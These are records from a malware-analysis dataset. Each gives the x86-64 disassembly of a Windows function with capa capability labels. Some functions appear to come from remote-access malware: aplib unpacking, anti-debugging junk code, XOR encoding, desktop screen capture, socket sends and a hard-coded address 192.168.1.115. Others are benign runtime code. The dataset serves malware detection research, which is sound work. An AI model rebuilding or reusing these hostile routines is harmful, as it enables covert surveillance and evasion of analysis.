joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001827
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140029058]
jne 0x14000131a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001316
repz ret
ror rcx, 0x10
jmp 0x140001780
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002a640]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14002a738]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001805
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002a640]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001827
mov rax, qword [rsp + 0x88]
mov qword [0x14002a738], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002a6d8], rax
mov rax, qword [0x14002a738]
mov qword [0x14002a5b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002a6c0], rax
mov dword [0x14002a5a0], 0xc0000409
mov dword [0x14002a5a4], 1
mov rax, qword [0x140029058]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140029060]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002a638], eax
mov ecx, 1
call fcn.140008320
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140020468]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002a638], 0
jne 0x1400018ae
mov ecx, 1
call fcn.140008320
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14151d058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14151d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14151d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14151d06f
add dl, dl
jne 0x14151d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14151d0f6
xor eax, eax
add dl, dl
jne 0x14151d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14151d1ad
add dl, dl
jne 0x14151d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14151d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14151d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14151d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14151d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14151d07e
mov eax, 1
add dl, dl
jne 0x14151d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14151d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14151d0fb
sub eax, ebx
mov ebx, 1
jne 0x14151d14c
mov ecx, 1
add dl, dl
jne 0x14151d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14151d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14151d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14151d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14151d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14151d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14151d15d
cmp eax, 0x7d00
jae 0x14151d19b
cmp eax, 0x500
jb 0x14151d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14151d07e
cmp eax, 0x7f
ja 0x14151d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14151d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14151d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14151d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14014abee
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.14014abbd
pop word [rsp + 2]
push word [rsp + 5]
jnp 0x14014ac06
jp 0x14014abf0
mov ecx, 0x2cddba24
sahf
rcl dword [rax - 0x15]
jmp 0x14014abd8
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
mov word [rsp], r8w
jmp 0x14014ac2b
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
mov word [rsp], r8w
mov byte [rsp], cl
lea rsp, [rsp + 2]
jmp 0x14014ac39
push qword [rsp]
jp 0x14014abd3
jnp 0x14014abd3
mov byte [rsp], cl
lea rsp, [rsp + 2]
jmp 0x14014ac39
mov qword [rsp + 0x28], rbx
call fcn.14014acf9
xchg esi, eax
xor al, 0xaa
int 0x3c
mov ebx, 0xd0b121a1
and esp, esp
loope 0x14014acb3
invalid
invalid

Function at 0x14014ac23
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.14014abbd
pop word [rsp + 2]
push word [rsp + 5]
jnp 0x14014ac06
jp 0x14014abf0
mov ecx, 0x2cddba24
sahf
rcl dword [rax - 0x15]
jmp 0x14014abd8
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
mov word [rsp], r8w
jmp 0x14014ac2b
lea rsp, [rsp + 4]
lea rsp, [rsp + 2]
mov word [rsp], r8w
mov byte [rsp], cl
lea rsp, [rsp + 2]
jmp 0x14014ac39
push qword [rsp]
jp 0x14014abd3
jnp 0x14014abd3
mov byte [rsp], cl
lea rsp, [rsp + 2]
jmp 0x14014ac39
mov qword [rsp + 0x28], rbx
call fcn.14014acf9
xchg esi, eax
xor al, 0xaa
int 0x3c
mov ebx, 0xd0b121a1
and esp, esp
loope 0x14014acb3
invalid
invalid
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002240]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002230]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x180001080
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x28
mov qword [rsp + 0x60], r13
xor r15d, r15d
mov qword [rsp + 0x20], r14
mov r13d, r9d
mov edi, r8d
mov r14, rdx
mov rbx, rcx
cmp qword [rcx + 8], r15
jne 0x1800010ae
mov eax, r15d
jmp 0x1800010b4
mov eax, dword [rcx + 0x10]
sub eax, dword [rcx + 8]
lea ecx, [rax + rdi]
mov qword [rsp + 0x50], rbp
cmp ecx, dword [rbx + 0x18]
jb 0x18000114d
pxor xmm0, xmm0
mov eax, ecx
mov qword [rsp + 0x58], r12
cvtsi2sd xmm0, rax
mulsd xmm0, qword [0x1800614a8]
call fcn.180035468
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rcx + 4]
cvttsd2si rbp, xmm0
shl ebp, 0xa
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbx + 8]
mov rsi, rax
test rdx, rdx
jne 0x18000110f
mov ecx, r15d
jmp 0x180001114
mov ecx, dword [rbx + 0x10]
sub ecx, edx
mov r12d, ecx
mov r8d, ecx
mov rcx, rax
call fcn.1800040d0
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001139
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rax, [r12 + rsi]
mov r12, qword [rsp + 0x58]
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rax
mov dword [rbx + 0x18], ebp
mov rcx, qword [rbx + 0x10]
mov r8, rdi
mov rdx, r14
call fcn.1800040d0
mov r14, qword [rsp + 0x20]
test r13d, r13d
mov r13, qword [rsp + 0x60]
je 0x1800011ce
mov r10d, r15d
mov r9, r15
mov r11, r15
test edi, edi
jle 0x1800011ce
mov rbp, qword [rsp + 0x70]
nop dword [rax]
movzx ecx, byte [r9 + rbp]
mov r8, qword [rbx + 0x10]
inc r9
mov eax, 0x3a33d62b
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0xcccccccd
imul edx, edx, 0x233
sub ecx, edx
mul r10d
add cl, 0x37
xor byte [r11 + r8], cl
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
cmp r10d, ecx
cmove r9, r15
inc r10d
inc r11
cmp r10d, edi
jl 0x180001180
add qword [rbx + 0x10], rdi
mov rbp, qword [rsp + 0x50]
mov eax, edi
add rsp, 0x28
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x180001310
Capabilities:
Initialize winsock library

Disassembly:
push rdi
sub rsp, 0x1e0
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x1f8], rbx
mov rax, qword [0x1800661e0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov rbx, rcx
mov qword [rsp + 0x20], rcx
lea rax, vtable.CBuffer.0
mov qword [rcx], rax
xor edi, edi
mov dword [rcx + 0x18], edi
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x20], rax
mov dword [rcx + 0x38], edi
mov qword [rcx + 0x28], rdi
mov qword [rcx + 0x30], rdi
mov qword [rcx + 0x40], rax
mov dword [rcx + 0x58], edi
mov qword [rcx + 0x48], rdi
mov qword [rcx + 0x50], rdi
mov qword [rcx + 0x7c], rdi
mov dword [rcx + 0x84], edi
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
xor r8d, r8d
lea edx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x88], rax
mov ecx, edi
xchg dword [rbx + 0x94], ecx
mov qword [rbx + 0x70], 0xffffffffffffffff
mov qword [rbx + 0x60], rdi
mov qword [rbx + 0x68], rdi
mov dword [rbx + 0x90], edi
mov ecx, 0xfa000
call fcn.180004088
mov qword [rbx + 0xb0], rax
mov byte [rbx + 0x78], dil
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1800040a0
mov rbx, qword [rsp + 0x1f8]
add rsp, 0x1e0
pop rdi
ret

Function at 0x180001570
Capabilities:
Set socket configuration

Disassembly:
push rbx
sub rsp, 0x30
cmp dword [rcx + 0x94], 0
mov rbx, rcx
mov byte [rcx + 0x78], 0
je 0x1800015e6
xor edx, edx
lea r9, [rsp + 0x40]
mov r8d, 0x80
mov eax, edx
mov edx, 0xffff
mov dword [rsp + 0x20], 4
xchg dword [rcx + 0x94], eax
mov rcx, qword [rcx + 0x70]
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rbx + 0x70]
call qword [sym.imp.KERNEL32.dll_CancelIo]
mov rcx, qword [rbx + 0x70]
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbx + 0x88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
add rsp, 0x30
pop rbx
ret
Function at 0x180001e90
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
mov rdi, rcx
mov r12d, r8d
mov r13d, esi
cmp r8d, 0xfa000
jl 0x180001f1e
nop dword [rax + rax]
mov ebx, esi
cmp dword [rdi + 0x94], esi
je 0x180001f80
mov rcx, qword [rdi + 0x70]
xor r9d, r9d
mov r8d, 0xfa000
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001eff
inc ebx
cmp ebx, 0xf
jl 0x180001ed2
cmp ebx, 0xf
je 0x180001f7b
sub r12d, 0xfa000
add r13d, eax
add rbp, 0xfa000
cmp r12d, 0xfa000
jge 0x180001ed0
test r12d, r12d
jle 0x180001f52
cmp dword [rdi + 0x94], 0
je 0x180001f80
mov rcx, qword [rdi + 0x70]
xor r9d, r9d
mov r8d, r12d
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x180001f4a
inc esi
cmp esi, 0xf
jl 0x180001f23
cmp esi, 0xf
je 0x180001f7b
add r13d, eax
or eax, 0xffffffff
cmp r13d, r14d
cmove eax, r13d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
or eax, 0xffffffff
jmp 0x180001f5c
xor eax, eax
jmp 0x180001f5c

Function at 0x180002440
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov rbx, rcx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov qword [rdx + 0x98], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rbx + 0x10], rax
lea rax, vtable.CScreenQuickManager.0
mov qword [rbx], rax
lea rcx, [rbx + 0x40]
call fcn.180002290
nop
xor edi, edi
mov dword [rbx + 0x18], edi
mov dword [rbx + 0x28], 5
mov ecx, 0x1b0
call fcn.180004774
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1800024c4
mov rcx, rax
call fcn.180003390
jmp 0x1800024c7
mov rax, rdi
mov qword [rbx + 0x148], rax
mov word [rbx + 0x1c], 1
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbx + 0x150], rax
mov ecx, 0x4e
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbx + 0x20], eax
mov ecx, 0x4f
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rbx + 0x24], eax
mov qword [rbx + 0x158], rdi
mov dword [rbx + 0x160], 0x18
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x180002b90]
xor edx, edx
xor ecx, ecx
call fcn.180004608
mov qword [rbx + 0x30], rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x180002c60]
xor edx, edx
xor ecx, ecx
call fcn.180004608
mov qword [rbx + 0x38], rax
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180002690
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rcx
mov byte [rcx + 0x1c], 0
or edx, 0xffffffff
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x148]
test rcx, rcx
je 0x1800026de
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov qword [rbx + 0x148], 0
mov ecx, 0x1b0
call fcn.180004774
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1800026ff
mov rcx, rax
call fcn.180003390
mov r11, rax
jmp 0x180002702
xor r11d, r11d
mov qword [rbx + 0x148], r11
mov eax, 0x3e8
cdq
idiv dword [rbx + 0x28]
mov dword [r11 + 0x1ac], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x180002b90]
xor edx, edx
xor ecx, ecx
call fcn.180004608
mov qword [rbx + 0x30], rax
add rsp, 0x40
pop rbx
ret
Function at 0x180003280
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov edi, r8d
mov r8, rcx
mov rbx, rdx
lea rcx, str.Network
mov edx, 0x1e
call fcn.180004818
lea rcx, str.192.168.1.115
mov r8, rbx
mov edx, 0xff
call fcn.180004818
xor eax, eax
lea r8, [0x1800031d0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x180067a0c], edi
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180068d30], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rsp + 0x40]
xor al, al
add rsp, 0x30
pop rdi
ret

Function at 0x1800038f0
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
cmp qword [rcx + 0x90], 0
mov rdi, rdx
mov rbx, rcx
jne 0x180003917
xor eax, eax
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
call fcn.180003a60
test al, al
je 0x180003938
mov rdx, qword [rbx + 0x30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rbx + 0x30], rax
lea rcx, [rsp + 0x70]
mov dword [rbx + 0x98], 0
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm1, dword [rsp + 0x74]
movd xmm0, dword [rsp + 0x70]
cvtdq2ps xmm1, xmm1
cvtdq2ps xmm0, xmm0
mulss xmm1, dword [rbx + 0x18]
mulss xmm0, dword [rbx + 0x18]
cvttss2si ecx, xmm1
cvttss2si eax, xmm0
sub ecx, dword [rbx + 0x14]
sub eax, dword [rbx + 0x10]
mov dword [rsp + 0x74], ecx
mov ecx, dword [rbx + 0x98]
mov dword [rsp + 0x70], eax
add rcx, qword [rbx + 0x90]
mov rax, qword [rsp + 0x70]
mov qword [rcx], rax
add dword [rbx + 0x98], 8
lea rcx, [rbx + 0xa0]
call fcn.180003310
mov ecx, dword [rbx + 0x98]
mov dword [rsp + 0x40], 0xcc0020
add rcx, qword [rbx + 0x90]
mov byte [rsp + 0x60], al
xor r8d, r8d
mov byte [rcx], al
mov eax, dword [rbx + 0x14]
mov r9d, dword [rbx + 0x1c]
mov rcx, qword [rbx + 0x40]
inc dword [rbx + 0x98]
mov dword [rsp + 0x38], eax
mov eax, dword [rbx + 0x10]
xor edx, edx
mov dword [rsp + 0x30], eax
mov rax, qword [rbx + 0x30]
mov qword [rsp + 0x28], rax
mov eax, dword [rbx + 0x20]
mov dword [rsp + 0x20], eax
call qword [sym.imp.GDI32.dll_BitBlt]
mov rcx, rbx
call fcn.180003cb0
mov r11d, dword [rbx + 0x98]
mov dword [rdi], r11d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0x1a8]
cmp eax, dword [rbx + 0x1ac]
jae 0x180003a3f
nop
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rbx + 0x1a8]
cmp eax, dword [rbx + 0x1ac]
jb 0x180003a20
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xchg dword [rbx + 0x1a8], eax
mov rax, qword [rbx + 0x90]
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x180004c1b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1800661e0]
jne 0x1800040ba
rol rcx, 0x10
test cx, 0xffff
jne 0x1800040b6
repz ret
ror rcx, 0x10
jmp 0x180004b74
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180067d40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180067e38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180004bf9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180067d40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180004c1b
mov rax, qword [rsp + 0x88]
mov qword [0x180067e38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180067dd8], rax
mov rax, qword [0x180067e38]
mov qword [0x180067cb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180067dc0], rax
mov dword [0x180067ca0], 0xc0000409
mov dword [0x180067ca4], 1
mov rax, qword [0x1800661e0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1800661e8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180067d38], eax
mov ecx, 1
call fcn.180006bb4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1800384f0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180067d38], 0
jne 0x180004ca2
mov ecx, 1
call fcn.180006bb4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x180005af0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.180005960
Function at 0x1800091f8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1800661e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180004df0
xor ebx, ebx
cmp qword [0x180068cd8], rbx
mov rdi, rax
jne 0x18000930b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x1800093e2
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800093e2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180068cd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180068ce0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, [0x18003a668]
mov rcx, rsi
mov qword [0x180068ce8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180068cf8], rax
test rax, rax
je 0x180009302
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180068cf0], rax
jmp 0x180009312
mov rax, qword [0x180068cf0]
jmp 0x180009319
mov rax, qword [0x180068cf0]
mov r11, qword [0x180068cf8]
cmp rax, rdi
je 0x180009380
cmp r11, rdi
je 0x180009380
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180068cf8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180009380
test rax, rax
je 0x180009380
call rsi
test rax, rax
je 0x18000937a
lea rcx, [rsp + 0x30]
mov r9d, recv
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x18000937a
test byte [rsp + 0x40], 1
jne 0x180009380
bts ebp, 0x15
jmp 0x1800093c0
mov rcx, qword [0x180068ce0]
cmp rcx, rdi
je 0x1800093c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800093c0
call rax
mov rbx, rax
test rax, rax
je 0x1800093c0
mov rcx, qword [0x180068ce8]
cmp rcx, rdi
je 0x1800093c0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800093c0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180068cd8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1800093e2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x1800093e4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800040a0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret